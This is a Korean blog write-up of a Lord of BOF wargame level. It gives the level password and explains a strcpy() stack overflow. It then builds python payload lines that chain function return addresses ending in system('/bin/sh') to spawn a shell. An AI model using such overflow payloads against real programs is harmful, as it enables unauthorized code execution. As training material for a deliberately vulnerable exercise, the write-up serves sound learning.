System&Write up/LOB

LOB zombie_assassin -> succubus Write up

Jubil 2017. 11. 13. 12:00
반응형

LOB zombie_assassin -> succubus

 

ID : zombie_assassin

Passwd : no place to hide

 


접속해서 ls 명령어로 파일을 확인합니다.

 





소스코드가 굉장히 기네요. 연속 함수 호출 문제인데, strcpy() 부분에서 overflow가 발생하고 Return Address(argv[1]+44)DO() 함수의 주소여야 하는군요.

 

그리고 buffer+48부터 100byte까지는 사용 가능한 걸로 보입니다.

 

DO부터는 check라는 전역 변수로 꼭 DO() GYE() GUL() YUT() MO() 순서로 호출해야 하도록 만들어 놓았습니다. 그리고 MO()에서 cmd라는 인자를 받아서 system() 함수의 인자로 넘기는데, 이 인자를 &/bin/sh로 해주면 될 것 같습니다.

 

그럼 DO() GYE() GUL() YUT() MO() 함수의 주소를 알아보겠습니다.

 



그리고 “/bin/sh”의 주소를 알아야 하는데 이 부분은 100byte 공간을 사용할 수 있기 때문에 그 공간에 넣고 그 주소를 넘기도록 하겠습니다.

 

payload : ./succubus `python –c ‘print “A”*44 + “\xec\x87\x04\x08”(DO()) + “\xbc\87\x04\x08”(GYE()) + “\x8c\x87\x04\x08”(GUL()) + “\x5c\x87\x04\x08”(YUT()) + “\x24\x87\x04\x08”(MO()) + “AAAA”(MO()’s Return Address(dummy)) + “BBBB”(&/bin/sh) + “/bin/sh”’`

 


core 파일을 열어보면,

 


이렇게 AAAA 다음 BBBB 다음 /bin/sh가 나오는 것을 볼 수 있다.

, /bin/sh의 주소는 0xbffffa68입니다. BBBB 부분을 /bin/sh의 주소로 변조합시다.

 

payload : ./succubus `python –c ‘print “A”*44 + “\xec\x87\x04\x08”(DO()) + “\xbc\87\x04\x08”(GYE()) + “\x8c\x87\x04\x08”(GUL()) + “\x5c\x87\x04\x08”(YUT()) + “\x24\x87\x04\x08”(MO()) + “AAAA”(MO()’s Return Address(dummy)) + “\x68\xfa\xff\xbf"(&/bin/sh) + “/bin/sh”’`

 

공격하겠습니다.


exploit!

감사합니다.

반응형

'System&Write up > LOB' 카테고리의 다른 글

LOB nightmare -> xavius Write up  (0) 2017.11.15
LOB succubus -> nightmare Write up  (0) 2017.11.14
LOB assassin -> zombie_assassin Write up  (0) 2017.11.12
LOB giant -> assassin Write up  (0) 2017.11.09
LOB bugbear -> giant Write up  (0) 2017.11.08